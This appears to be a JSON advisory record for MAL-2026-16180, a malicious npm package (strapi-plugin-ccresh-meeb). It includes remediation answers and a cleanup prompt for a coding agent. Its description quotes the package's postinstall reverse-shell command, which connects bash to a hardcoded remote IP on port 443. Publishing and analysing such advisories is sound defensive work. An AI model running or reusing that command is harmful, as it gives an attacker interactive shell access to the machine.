{"answers":{"affected":"1 open source package ship an affected version, including strapi-plugin-ccresh-meeb.","exploited":"There is no known exploitation of MAL-2026-16180 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-16180 is a malicious package in strapi-plugin-ccresh-meeb, published on 15 Sep 2026."},"fix_prompt":"MAL-2026-16180 is a malicious package: strapi-plugin-ccresh-meeb (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-16180/ (Markdown: https://insights.sbomify.com/MAL-2026-16180/index.md)","id":"MAL-2026-16180","markdown":"https://insights.sbomify.com/MAL-2026-16180/index.md","name":"MAL-2026-16180","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's postinstall lifecycle script (`scripts.postinstall: node postinstall.js`) unconditionally invokes `/bin/bash` with an interactive reverse-shell payload at install time: `bash -c 'bash -i \u003e /dev/tcp/14.225.210.85/443 0\u003e\u00261'`. This connects stdin/stdout/stderr of an interactive bash session to a hardcoded remote host over TCP/443, handing full shell access on the installer's machine to whoever controls that endpoint. A marker file is also written under /tmp confirming execution. The manifest self-labels the package as a `Reverse shell payload for Strapi`. Any `npm install` of this package results in remote code execution and interactive shell access as the installing user.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in strapi-plugin-ccresh-meeb (npm)","id":"MAL-2026-16180","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"strapi-plugin-ccresh-meeb","purl":"pkg:npm/strapi-plugin-ccresh-meeb","source":"MAL-2026-16180"}],"products":null,"published":"2026-09-15","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-16180/"}